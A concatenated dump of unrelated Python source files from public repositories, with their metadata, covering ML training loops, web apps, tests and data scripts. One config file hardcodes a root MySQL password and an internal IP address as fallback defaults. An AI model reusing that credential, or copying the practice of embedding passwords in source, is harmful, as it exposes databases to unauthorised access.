import FWCore.ParameterSet.Config as cms from RecoBTag.SecondaryVertex.candidateCombinedSecondaryVertexV2Computer_cfi import * candidateNegativeCombinedSecondaryVertexV2Computer = candidateCombinedSecondaryVertexV2Computer.clone() candidateNegativeCombinedSecondaryVertexV2Computer.vertexFlip = True candidateNegativeCombinedSecondaryVertexV2Computer.trackFlip = True candidateNegativeCombinedSecondaryVertexV2Computer.trackSelection.sip3dSigMax = 0 candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip3dSigMax = 0 candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip2dSigMin = -99999.9 candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip2dSigMax = -2.0

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null

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2ccadd7ba80f38630cf624bef2ae56985513ceed

276

py

Python

universa/utils.py

amyodov/universa

3df21517b078c0f926132f920d5d7fece432bc52

[ "MIT" ]

null

universa/utils.py

amyodov/universa

3df21517b078c0f926132f920d5d7fece432bc52

[ "MIT" ]

null

universa/utils.py

amyodov/universa

3df21517b078c0f926132f920d5d7fece432bc52

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals import calendar from datetime import datetime def ut(date_time): return calendar.timegm(date_time.timetuple()) def dt(unix_time): return datetime.utcfromtimestamp(float(unix_time))

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null

0

1

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1

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4

e2e0d1ba8178e43791bc4fdccfab6e5114a332ee

194

py

Python

kite-python/kite_pkgexploration/kite/__init__.py

kiteco/kiteco-public

74aaf5b9b0592153b92f7ed982d65e15eea885e3

[ "BSD-3-Clause" ]

17

2022-01-10T11:01:50.000Z

2022-03-25T03:21:08.000Z

kite-python/kite_common/kite/__init__.py

kiteco/kiteco-public

74aaf5b9b0592153b92f7ed982d65e15eea885e3

[ "BSD-3-Clause" ]

1

2022-01-13T14:28:47.000Z

kite-python/kite_common/kite/__init__.py

kiteco/kiteco-public

74aaf5b9b0592153b92f7ed982d65e15eea885e3

[ "BSD-3-Clause" ]

7

2022-01-07T03:58:10.000Z

2022-03-24T07:38:20.000Z

# this is a namespace package, allowing us to separate out e.g. # `kite.pkgexploration` into a separate installable distribution __path__ = __import__('pkgutil').extend_path(__path__, __name__)

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391d4b6540c85432846aeec1b69cff23e62eeaed

186

py

Python

marley/worlds/blackjack/__init__.py

cool-RR/grid_royale

26e2614eb9b986e9bee180e85edfa9a955b6cc8f

[ "MIT" ]

255

2020-10-11T08:36:17.000Z

2021-04-18T16:10:38.000Z

marley/worlds/blackjack/__init__.py

cool-RR/marley

fcc39de8964eaf1a28872173538c17ea246591b3

[ "MIT" ]

24

2020-10-11T08:38:21.000Z

2021-01-23T16:33:41.000Z

marley/worlds/blackjack/__init__.py

cool-RR/marley

fcc39de8964eaf1a28872173538c17ea246591b3

[ "MIT" ]

29

2020-10-11T10:55:30.000Z

2021-09-21T16:44:20.000Z

31

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186

5.92

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0

1

0

null

0

1

0

1

0

4

1a2f5942ee004989816d672fa57d7dab25fe65a7

5,322

py

Python

solver/runners.py

bicycleman15/pytorch-classification

01e480dad9ea1e9bbf0810b35c1103dd76e06510

[ "MIT" ]

null

solver/runners.py

bicycleman15/pytorch-classification

01e480dad9ea1e9bbf0810b35c1103dd76e06510

[ "MIT" ]

null

solver/runners.py

bicycleman15/pytorch-classification

01e480dad9ea1e9bbf0810b35c1103dd76e06510

[ "MIT" ]

null

import torch from tqdm import tqdm from utils import Logger, AverageMeter, accuracy import numpy as np def train(trainloader, model, criterion, optimizer): # switch to train mode model.train() losses = AverageMeter() top1 = AverageMeter() top3 = AverageMeter() top5 = AverageMeter() criterion.reset() bar = tqdm(enumerate(trainloader), total=len(trainloader)) for batch_idx, (inputs, targets) in bar: inputs, targets = inputs.cuda(), targets.cuda() # compute output outputs = model(inputs) loss_dict = criterion(outputs, targets) loss = loss_dict[0]["loss"] # measure accuracy and record loss prec1, prec3, prec5 = accuracy(outputs.data, targets.data, topk=(1, 3, 5)) losses.update(loss.item(), inputs.size(0)) top1.update(prec1.item(), inputs.size(0)) top3.update(prec3.item(), inputs.size(0)) top5.update(prec5.item(), inputs.size(0)) # compute gradient and do SGD step optimizer.zero_grad() loss.backward() optimizer.step() # plot progress bar.set_postfix_str('({batch}/{size}) Loss: {loss:.8f} | top1: {top1: .4f} | top3: {top3: .4f} | top5: {top5: .4f}'.format( batch=batch_idx + 1, size=len(trainloader), loss=losses.avg, top1=top1.avg, top3=top3.avg, top5=top5.avg, )) return (losses.avg, top1.avg, top3.avg, top5.avg) @torch.no_grad() def test(testloader, model, criterion, ece_criterion, sce_criterion, T=1.0): criterion.reset() ece_criterion.reset() sce_criterion.reset() losses = AverageMeter() top1 = AverageMeter() top3 = AverageMeter() top5 = AverageMeter() # switch to evaluate mode model.eval() bar = tqdm(enumerate(testloader), total=len(testloader)) for batch_idx, (inputs, targets) in bar: inputs, targets = inputs.cuda(), targets.cuda() # compute output outputs = model(inputs) outputs /= T loss_dict = criterion(outputs, targets) loss = loss_dict[0]["loss"] ece_criterion.forward(outputs,targets) sce_criterion.forward(outputs,targets) prec1, prec3, prec5 = accuracy(outputs.data, targets.data, topk=(1, 3, 5)) losses.update(loss.item(), inputs.size(0)) top1.update(prec1.item(), inputs.size(0)) top3.update(prec3.item(), inputs.size(0)) top5.update(prec5.item(), inputs.size(0)) # plot progress bar.set_postfix_str('({batch}/{size}) Loss: {loss:.8f} | top1: {top1: .4f} | top3: {top3: .4f} | top5: {top5: .4f}'.format( batch=batch_idx + 1, size=len(testloader), loss=losses.avg, top1=top1.avg, top3=top3.avg, top5=top5.avg, )) eces = ece_criterion.get_overall_ECELoss() cces = sce_criterion.get_overall_CCELoss() return (losses.avg, top1.avg, top3.avg, top5.avg, cces.item(), eces.item()) @torch.no_grad() def get_logits_targets(testloader, model): # switch to evaluate mode model.eval() all_targets = None all_outputs = None bar = tqdm(testloader, total=len(testloader)) for inputs, targets in bar: inputs = inputs.cuda() # compute output outputs = model(inputs) # to numpy targets = targets.cpu().numpy() outputs = outputs.cpu().numpy() if all_targets is None: all_outputs = outputs all_targets = targets else: all_targets = np.concatenate([all_targets, targets], axis=0) all_outputs = np.concatenate([all_outputs, outputs], axis=0) return all_outputs, all_targets @torch.no_grad() def get_logits_targets_torch(testloader, model): # switch to evaluate mode model.eval() all_targets = None all_outputs = None bar = tqdm(testloader, total=len(testloader)) for inputs, targets in bar: inputs = inputs.cuda() targets= targets.cuda() # compute output outputs = model(inputs) if all_targets is None: all_outputs = outputs all_targets = targets else: all_targets = torch.cat([all_targets, targets], dim=0) all_outputs = torch.cat([all_outputs, outputs], dim=0) return all_outputs, all_targets def fine_tune(trainloader, model, criterion, optimizer): # switch to train mode model.train() losses = AverageMeter() top1 = AverageMeter() top3 = AverageMeter() top5 = AverageMeter() criterion.reset() for batch_idx, (inputs, targets) in enumerate(trainloader): inputs, targets = inputs.cuda(), targets.cuda() # compute output outputs = model(inputs) loss_dict = criterion(outputs, targets) loss = loss_dict[0]["loss"] # measure accuracy and record loss losses.update(loss.item(), inputs.size(0)) # compute gradient and do SGD step optimizer.zero_grad() loss.backward() optimizer.step() return losses.avg

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0

4

1a501837b7c05445b682794d6cee99572713d9ff

417

py

Python

code/mlaipack01/MLAIPractical01.py

HaoZeke/ictIITK-AI

36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac

[ "MIT" ]

null

code/mlaipack01/MLAIPractical01.py

HaoZeke/ictIITK-AI

36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac

[ "MIT" ]

null

code/mlaipack01/MLAIPractical01.py

HaoZeke/ictIITK-AI

36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac

[ "MIT" ]

null

#!/usr/bin/env /home/haozeke/.venvs/ictAI/bin/python import seaborn print( 'seaborn:', seaborn.__version__ ) import scipy print( 'scipy:', scipy.__version__ ) import sklearn print( 'sklearn:', sklearn.__version__ ) import pandas print( 'pandas:', pandas.__version__ ) import matplotlib print( 'matplotlib:', matplotlib.__version__ ) import numpy print( 'numpy:', numpy.__version__ ) print("Machine Learning")

24.529412

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0

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0

1

0

4

1a54bd833cda9c0601bc7647082b20f1dcbb408c

93

py

Python

pychemia/population/orbitaldftu/__init__.py

petavazohi/PyChemia

e779389418771c25c830aed360773c63bb069372

[ "MIT" ]

67

2015-01-31T07:44:55.000Z

2022-03-21T21:43:34.000Z

pychemia/population/orbitaldftu/__init__.py

petavazohi/PyChemia

e779389418771c25c830aed360773c63bb069372

[ "MIT" ]

13

2016-06-03T19:07:51.000Z

2022-03-31T04:20:40.000Z

pychemia/population/orbitaldftu/__init__.py

petavazohi/PyChemia

e779389418771c25c830aed360773c63bb069372

[ "MIT" ]

37

2015-01-22T15:37:23.000Z

2022-03-21T15:38:10.000Z

from ._population import OrbitalDFTU, dmatpawu2params, params2dmatpawu, get_final_abinit_out

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1a5df851de77ca62774ed07a1db9889e68916381

190

py

Python

src/hpi/sys.py

fvutils/py-dpi

7916298bd8c078bb34e405c25b0b02b366abc0de

[ "Apache-2.0" ]

9

2019-06-09T12:23:07.000Z

2022-01-06T09:47:09.000Z

src/hpi/sys.py

fvutils/py-dpi

7916298bd8c078bb34e405c25b0b02b366abc0de

[ "Apache-2.0" ]

null

src/hpi/sys.py

fvutils/py-dpi

7916298bd8c078bb34e405c25b0b02b366abc0de

[ "Apache-2.0" ]

4

2020-12-16T15:43:13.000Z

2021-12-22T17:41:48.000Z

''' Created on May 19, 2019 @author: ballance ''' # TODO: implement simulation-access methods # - yield # - get sim time # - ... # # The launcher will ultimately implement these methods #

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1a7a0f64816073644a87e81f4bd26ca13b4fa285

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py

Python

tests/fast_tests/test_common.py

alt113/h-baselines

67786876d7ee760477d5c5ccb0591fa90f6b7550

[ "MIT" ]

null

tests/fast_tests/test_common.py

alt113/h-baselines

67786876d7ee760477d5c5ccb0591fa90f6b7550

[ "MIT" ]

null

tests/fast_tests/test_common.py

alt113/h-baselines

67786876d7ee760477d5c5ccb0591fa90f6b7550

[ "MIT" ]

null

"""Contains tests for the model abstractions and different models.""" import unittest from hbaselines.common.train import parse_options, get_hyperparameters from hbaselines.common.train import DEFAULT_TD3_HP class TestTrain(unittest.TestCase): """A simple test to get Travis running.""" def test_parse_options(self): # Test the default case. args = parse_options("", "", args=["AntMaze"]) self.assertEqual(args.env_name, "AntMaze") self.assertEqual(args.n_training, 1) self.assertEqual(args.steps, 1e6) self.assertEqual(args.gamma, DEFAULT_TD3_HP["gamma"]) self.assertEqual(args.tau, DEFAULT_TD3_HP["tau"]) self.assertEqual(args.batch_size, DEFAULT_TD3_HP["batch_size"]) self.assertEqual(args.reward_scale, DEFAULT_TD3_HP["reward_scale"]) self.assertEqual(args.actor_lr, DEFAULT_TD3_HP["actor_lr"]) self.assertEqual(args.critic_lr, DEFAULT_TD3_HP["critic_lr"]) self.assertEqual(args.critic_l2_reg, DEFAULT_TD3_HP["critic_l2_reg"]) self.assertEqual(args.clip_norm, DEFAULT_TD3_HP["clip_norm"]) self.assertEqual(args.nb_train_steps, DEFAULT_TD3_HP["nb_train_steps"]) self.assertEqual(args.nb_rollout_steps, DEFAULT_TD3_HP["nb_rollout_steps"]) self.assertEqual(args.nb_eval_episodes, DEFAULT_TD3_HP["nb_eval_episodes"]) self.assertEqual(args.normalize_observations, False) self.assertEqual(args.render, False) self.assertEqual(args.verbose, 2) self.assertEqual(args.buffer_size, DEFAULT_TD3_HP["buffer_size"]) self.assertEqual(args.evaluate, False) # Test custom cases. args = parse_options("", "", args=[ "AntMaze", "--n_training", "1", "--steps", "2", "--gamma", "3", "--tau", "4", "--batch_size", "5", "--reward_scale", "6", "--actor_lr", "7", "--critic_lr", "8", "--critic_l2_reg", "9", "--clip_norm", "10", "--nb_train_steps", "11", "--nb_rollout_steps", "12", "--nb_eval_episodes", "13", "--normalize_observations", "--render", "--verbose", "14", "--buffer_size", "15", "--evaluate", ]) hp = get_hyperparameters(args) self.assertEqual(args.n_training, 1) self.assertEqual(args.steps, 2) self.assertEqual(hp["gamma"], 3) self.assertEqual(hp["tau"], 4) self.assertEqual(hp["batch_size"], 5) self.assertEqual(hp["reward_scale"], 6) self.assertEqual(hp["actor_lr"], 7) self.assertEqual(hp["critic_lr"], 8) self.assertEqual(hp["critic_l2_reg"], 9) self.assertEqual(hp["clip_norm"], 10) self.assertEqual(hp["nb_train_steps"], 11) self.assertEqual(hp["nb_rollout_steps"], 12) self.assertEqual(hp["nb_eval_episodes"], 13) self.assertEqual(hp["normalize_observations"], True) self.assertEqual(hp["render"], True) self.assertEqual(hp["verbose"], 14) self.assertEqual(hp["buffer_size"], 15) self.assertEqual(args.evaluate, True) class TestStats(unittest.TestCase): """A simple test to get Travis running.""" def test_normalize(self): pass def test_denormalize(self): pass def test_reduce_var(self): pass def test_reduce_std(self): pass if __name__ == '__main__': unittest.main()

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1a8d71ca435c39276b608adb17402b48d8827182

274

py

Python

mjcbsn22/equal_sides_of_an_array.py

richcontext/katas

bd14bba0814307bb91cb994966edb423bd13d64f

[ "MIT" ]

null

mjcbsn22/equal_sides_of_an_array.py

richcontext/katas

bd14bba0814307bb91cb994966edb423bd13d64f

[ "MIT" ]

null

mjcbsn22/equal_sides_of_an_array.py

richcontext/katas

bd14bba0814307bb91cb994966edb423bd13d64f

[ "MIT" ]

null

def find_even_index(arr): for index, int in enumerate(arr): left = sum_range(arr, 0, index) right = sum_range(arr, index, len(arr)) if left == right: return index return -1 def sum_range(arr, a, b): return sum(arr[a:b + 1])

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1aa75fae12ea584a3ced5a54824248594779c508

2,608

py

Python

tinyipam/model/custom_types/ip.py

marcsello/tinyipam

6a8dff9609015a7c5138ee3985d5a5aa163474bc

[ "MIT" ]

null

tinyipam/model/custom_types/ip.py

marcsello/tinyipam

6a8dff9609015a7c5138ee3985d5a5aa163474bc

[ "MIT" ]

null

tinyipam/model/custom_types/ip.py

marcsello/tinyipam

6a8dff9609015a7c5138ee3985d5a5aa163474bc

[ "MIT" ]

null

#!/usr/bin/env python3 from sqlalchemy import types from sqlalchemy.types import TypeDecorator from ipaddress import IPv4Network, IPv6Network, IPv4Address, IPv6Address # TODO: Use postgres native types if available class DBIPv4SubnetStr(TypeDecorator): impl = types.Unicode(18) def __init__(self, *args, **kwargs): super(DBIPv4SubnetStr, self).__init__(*args, **kwargs) self.impl = types.Unicode(18) def process_literal_param(self, value, dialect): return str(value) if value else None def process_bind_param(self, value, dialect): return str(value) if value else None def process_result_value(self, value, dialect): return IPv4Network(value) if value else None @property def python_type(self): return self.impl.type.python_type class DBIPv6SubnetStr(TypeDecorator): impl = types.Unicode(43) def __init__(self, *args, **kwargs): super(DBIPv6SubnetStr, self).__init__(*args, **kwargs) self.impl = types.Unicode(43) def process_literal_param(self, value, dialect): return str(value) if value else None def process_bind_param(self, value, dialect): return str(value) if value else None def process_result_value(self, value, dialect): return IPv6Network(value) if value else None @property def python_type(self): return self.impl.type.python_type class DBIPv4AddressStr(TypeDecorator): impl = types.Unicode(15) def __init__(self, *args, **kwargs): super(DBIPv4AddressStr, self).__init__(*args, **kwargs) self.impl = types.Unicode(15) def process_literal_param(self, value, dialect): return str(value) if value else None def process_bind_param(self, value, dialect): return str(value) if value else None def process_result_value(self, value, dialect): return IPv4Address(value) if value else None @property def python_type(self): return self.impl.type.python_type class DBIPv6AddressStr(TypeDecorator): impl = types.Unicode(39) def __init__(self, *args, **kwargs): super(DBIPv6AddressStr, self).__init__(*args, **kwargs) self.impl = types.Unicode(39) def process_literal_param(self, value, dialect): return str(value) if value else None def process_bind_param(self, value, dialect): return str(value) if value else None def process_result_value(self, value, dialect): return IPv6Address(value) if value else None @property def python_type(self): return self.impl.type.python_type

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46de7a219f85c0ef5348926c9b4d6cce1458dccb

241

py

Python

aiomatrix/types/responses/content_repository.py

Forden/aiomatrix

d258076bae8eb776495b92be46ee9f4baec8d9a6

[ "MIT" ]

2

2021-10-29T18:07:08.000Z

2021-11-19T00:25:43.000Z

aiomatrix/types/responses/content_repository.py

Forden/aiomatrix

d258076bae8eb776495b92be46ee9f4baec8d9a6

[ "MIT" ]

1

2022-03-06T11:17:43.000Z

aiomatrix/types/responses/content_repository.py

Forden/aiomatrix

d258076bae8eb776495b92be46ee9f4baec8d9a6

[ "MIT" ]

null

from typing import Optional from pydantic import BaseModel, Field class ContentRepositoryConfig(BaseModel): upload_size: Optional[int] = Field(None, alias='m.upload.size') class UploadedFileResponse(BaseModel): content_uri: str

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46e61c281bf59a1695273c93f2d15f47e4004dc4

61

py

Python

backend/urls.py

Takenori-Kusaka/Vuetify_FastAPI_Base

2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41

[ "MIT" ]

null

backend/urls.py

Takenori-Kusaka/Vuetify_FastAPI_Base

2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41

[ "MIT" ]

null

backend/urls.py

Takenori-Kusaka/Vuetify_FastAPI_Base

2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41

[ "MIT" ]

1

2021-04-19T03:01:33.000Z

from index import * # URL app.add_api_route('/', index)

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46eec5846ef3604bf69a96ba7cbd8a23c44fcc72

993

py

Python

demo/part_1.py

eric6239/HeartsEnv

8b8c438f4e0add9a9e956b85ba3cad82af45fbcb

[ "MIT" ]

6

2018-08-12T00:27:10.000Z

2019-05-09T09:41:08.000Z

demo/part_1.py

eric6239/HeartsEnv

8b8c438f4e0add9a9e956b85ba3cad82af45fbcb

[ "MIT" ]

8

2018-08-15T08:46:39.000Z

2021-06-01T22:29:39.000Z

demo/part_1.py

roth1002/HeartsEnv

4d987978b4a5ea2fd2dbbaeb2a87eca08e1cbfc2

[ "MIT" ]

3

2018-08-14T09:27:37.000Z

2018-08-29T06:31:12.000Z

from gym import spaces table_space = spaces.Tuple([ spaces.Discrete(13), # n_round spaces.Discrete(4), # start_pos spaces.Discrete(4), # cur_pos spaces.Discrete(1), # exchanged spaces.Discrete(1), # heart_occured spaces.Discrete(100), # n_games spaces.Tuple([ # board spaces.MultiDiscrete([13, 4]) ] * 4), spaces.Tuple([ # first_draw spaces.MultiDiscrete([13, 4]) ]), spaces.Tuple([ # bank spaces.Tuple([ spaces.MultiDiscrete([13, 4]) ] * 3), ] * 4) ]) player_space = spaces.Tuple([ spaces.Discrete(200), # score spaces.Tuple([ # hand spaces.MultiDiscrete([13, 4]) ] * 13), spaces.Tuple([ # income spaces.MultiDiscrete([13, 4]) ] * 52), ] * 4) p_space = spaces.Tuple([ spaces.Discrete(200), # score spaces.Tuple([ # hand spaces.MultiDiscrete([13, 4]) ] * 13), spaces.Tuple([ # income spaces.MultiDiscrete([13, 4]) ] * 52), ])

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2003056b00e78b08b3ceae8a7f8b039c284c2fa1

4,683

py

Python

4_v_vrsto_streznik.py

miharadez/4-v-vrsto

d1048e77787de94a9283038670c03f95ce689b0c

[ "MIT" ]

null

4_v_vrsto_streznik.py

miharadez/4-v-vrsto

d1048e77787de94a9283038670c03f95ce689b0c

[ "MIT" ]

null

4_v_vrsto_streznik.py

miharadez/4-v-vrsto

d1048e77787de94a9283038670c03f95ce689b0c

[ "MIT" ]

null

import bottle import pathlib import os from cela_igra import * pot = os.path.join(pathlib.Path(__file__).parent.absolute(), "views") d = Igra((7, 6), 0, [], [], prosti=[0 for i in range(7)], kam=(0, 0)) @bottle.get("/") def predstavi(): return bottle.template(os.path.join(pot, "poimenuj.tpl")) @bottle.post("/poimenuj/") def preusmeri(): a = bottle.request.forms.a return bottle.template(os.path.join(pot, "preusmeri.tpl"), ime=a) @bottle.post("/<ime>/") def pozdravi(ime): return bottle.template(os.path.join(pot, "level.tpl"), ime=ime) @bottle.post("/<ime>/<level>/") def izbira_parametrov(ime, level): return bottle.template(os.path.join(pot, "igralec.tpl"), ime=ime, level=level) @bottle.post("/<ime>/<level>/<igralec>/") def prva_poteza(ime, level, igralec): d.poteza = 0 d.rdeci = [] d.rumeni = [] d.prosti = [0 for i in range(7)] if igralec == "2": if level == "zelo lahko": n = (robot1(d)) elif level == "lahko": n = (robot2(d)) elif level == "srednje": n = (robot3(d)) elif level == "težje": n = (robot4(d)) else: n = (robot5(d)) d.dodaj(n) z = [] for i in range(d.velikost[1] - 1, -1, -1): b = " " for j in range(d.velikost[0]): if (j, i) in d.rdeci: b = b + "🔴   " elif (j, i) in d.rumeni: b = b + "🔵   " else: b = b + "⚪   " z.append(b) return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime, level=level, igralec=igralec, tabela=tuple(z)) @bottle.post("/<ime>/<level>/<igralec>/<opcija>/") def naslednje_poteze(ime, level, igralec, opcija): if int(opcija) not in d.kam_lahko(): z = [] for i in range(d.velikost[1] - 1, -1, -1): b = " " for j in range(d.velikost[0]): if (j, i) in d.rdeci: b = b + "🔴   " elif (j, i) in d.rumeni: b = b + "🔵   " else: b = b + "⚪   " z.append(b) tabela = tuple(z) return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime, level=level, igralec=igralec, tabela=tuple(z)) else: d.dodaj(int(opcija)) z = [] for i in range(d.velikost[1] - 1, -1, -1): b = " " for j in range(d.velikost[0]): if (j, i) in d.rdeci: b = b + "🔴   " elif (j, i) in d.rumeni: b = b + "🔵   " else: b = b + "⚪   " z.append(b) tabela = tuple(z) if d.zmaga(): # igralec je zmagal return bottle.template(os.path.join(pot, "zmaga.tpl"), ime=ime, tabela=tabela) if d.prosti == [d.velikost[1] for i in range(d.velikost[0])]: # vse polno-> izenačenje return bottle.template(os.path.join(pot, "polno.tpl"), ime=ime, level=level, igralec=igralec, tabela=tuple(z)) else: if level == "zelo lahko": n = (robot1(d)) elif level == "lahko": n = (robot2(d)) elif level == "srednje": n = (robot3(d)) elif level == "težje": n = (robot4(d)) else: n = (robot5(d)) d.dodaj(n) z = [] for i in range(d.velikost[1] - 1, -1, -1): b = " " for j in range(d.velikost[0]): if (j, i) in d.rdeci: b = b + "🔴   " elif (j, i) in d.rumeni: b = b + "🔵   " else: b = b + "⚪   " z.append(b) if d.zmaga(): # igralec je zmagal return bottle.template(os.path.join(pot, "poraz.tpl"), ime=ime, tabela=tuple(z)) if d.prosti == [d.velikost[1] for i in range(d.velikost[0])]: # vse polno-> izenačenje return bottle.template(os.path.join(pot, "polno.tpl"), ime=ime, level=level, igralec=igralec, tabela=tuple(z)) else: return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime, level=level, igralec=igralec, tabela=tuple(z)) bottle.run(debug=True, reloader=True)

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20078cffa699e56cc802e1e4d1c71b16ab810b04

55

py

Python

deliravision/torch/models/gans/munit/__init__.py

delira-dev/vision_torch

d944aa67d319bd63a2add5cb89e8308413943de6

[ "BSD-2-Clause" ]

4

2019-08-03T09:56:50.000Z

2019-09-05T09:32:06.000Z

deliravision/torch/models/gans/munit/__init__.py

delira-dev/vision_torch

d944aa67d319bd63a2add5cb89e8308413943de6

[ "BSD-2-Clause" ]

23

2019-08-03T14:16:47.000Z

2019-10-22T10:15:10.000Z

deliravision/torch/models/gans/munit/__init__.py

delira-dev/vision_torch

d944aa67d319bd63a2add5cb89e8308413943de6

[ "BSD-2-Clause" ]

null

from deliravision.models.gans.munit.munit import MUNIT

27.5

54

0.854545

8

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5.875

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2010207d45b27d7b50766714a96e169c4be8fc70

174

py

Python

sandbox/apps/app.py

django-oscar/django-oscar-gocardless

d22b01541cad9a20728769978550977a95689d8f

[ "BSD-3-Clause" ]

3

2015-06-22T11:00:57.000Z

2021-05-12T07:30:41.000Z

sandbox/apps/app.py

django-oscar/django-oscar-gocardless

d22b01541cad9a20728769978550977a95689d8f

[ "BSD-3-Clause" ]

null

sandbox/apps/app.py

django-oscar/django-oscar-gocardless

d22b01541cad9a20728769978550977a95689d8f

[ "BSD-3-Clause" ]

7

2015-06-25T11:34:43.000Z

2018-10-15T00:47:21.000Z

from oscar.app import Shop from apps.checkout.app import application as checkout_app class GoCardlessShop(Shop): checkout_app = checkout_app shop = GoCardlessShop()

17.4

58

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5.826087

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174

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null

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4

2016eb2764699564661acb717df48599d8daf049

270

py

Python

0x0A-python-inheritance/6-base_geometry.py

Trice254/alx-higher_level_programming

b49b7adaf2c3faa290b3652ad703914f8013c67c

[ "MIT" ]

null

0x0A-python-inheritance/6-base_geometry.py

Trice254/alx-higher_level_programming

b49b7adaf2c3faa290b3652ad703914f8013c67c

[ "MIT" ]

null

0x0A-python-inheritance/6-base_geometry.py

Trice254/alx-higher_level_programming

b49b7adaf2c3faa290b3652ad703914f8013c67c

[ "MIT" ]

null

#!/usr/bin/python3 """ Contains empty class BaseGeometry with public instance method area """ class BaseGeometry: """ Methods: area(self) """ def area(self): """not implemented""" raise Exception("area() is not implemented")

18

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5.785714

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270

14

53

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null

1

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null

0

1

0

1

0

4

204f77d29d2d9c3da30816d2f3f9786cc2f18ab8

83

py

Python

nugu/apps.py

tmddusgood/NUGU_movie_recommendation-1

0c87638963d4681583f94def038dcd980270cb14

[ "MIT" ]

null

nugu/apps.py

tmddusgood/NUGU_movie_recommendation-1

0c87638963d4681583f94def038dcd980270cb14

[ "MIT" ]

null

nugu/apps.py

tmddusgood/NUGU_movie_recommendation-1

0c87638963d4681583f94def038dcd980270cb14

[ "MIT" ]

3

2020-03-23T02:53:49.000Z

2021-01-02T20:15:09.000Z

from django.apps import AppConfig class NuguConfig(AppConfig): name = 'nugu'

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64978091119bc050b3694579954c4d781a7f2b03

293

py

Python

exercises/list-ops/list_ops.py

kishankj/python

82042de746128127502e109111e6c4e8ab002af6

[ "MIT" ]

1,177

2017-06-21T20:24:06.000Z

2022-03-29T02:30:55.000Z

exercises/list-ops/list_ops.py

kishankj/python

82042de746128127502e109111e6c4e8ab002af6

[ "MIT" ]

1,890

2017-06-18T20:06:10.000Z

2022-03-31T18:35:51.000Z

exercises/list-ops/list_ops.py

kishankj/python

82042de746128127502e109111e6c4e8ab002af6

[ "MIT" ]

1,095

2017-06-26T23:06:19.000Z

2022-03-29T03:25:38.000Z

def append(list1, list2): pass def concat(lists): pass def filter(function, list): pass def length(list): pass def map(function, list): pass def foldl(function, list, initial): pass def foldr(function, list, initial): pass def reverse(list): pass

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64a033e14a76469ac570dae12f85a26317bb6c5a

236

py

Python

config.py

lubupang/resume_flask1

1ea18e88c0b667e92710096f57973a77d19e8fc6

[ "MIT" ]

null

config.py

lubupang/resume_flask1

1ea18e88c0b667e92710096f57973a77d19e8fc6

[ "MIT" ]

null

config.py

lubupang/resume_flask1

1ea18e88c0b667e92710096f57973a77d19e8fc6

[ "MIT" ]

null

import os # 是否开启debug模式 DEBUG = True # 读取数据库环境变量 username = os.environ.get("MYSQL_USERNAME", r'root') password = os.environ.get("MYSQL_PASSWORD", r'lubupangAdmin123!!!') db_address =os.environ.get("MYSQL_ADDRESS", r'10.0.224.8:3306')

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null

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64cb58f42a61635f66e7a69c8d7784c16c2202ae

8,853

py

Python

SafeGraph/1.POIs.py

yeabinmoon/economics

53bfc51f2227755948ac937c3e763b747d3aedec

[ "MIT" ]

null

SafeGraph/1.POIs.py

yeabinmoon/economics

53bfc51f2227755948ac937c3e763b747d3aedec

[ "MIT" ]

null

SafeGraph/1.POIs.py

yeabinmoon/economics

53bfc51f2227755948ac937c3e763b747d3aedec

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Feb 27 23:57:54 2021 @author: yeabinmoon """ import pandas as pd import time file_lists = ['core_poi-part1.csv.gz', 'core_poi-part2.csv.gz', 'core_poi-part3.csv.gz', 'core_poi-part4.csv.gz', 'core_poi-part5.csv.gz'] months = ['03','04','05','06','07','08','09','10'] df = pd.DataFrame() for month in months: temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/2020/'+month+'/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/11/06/11/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/11/06/12/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/12/04/04/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/01/06/11/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = 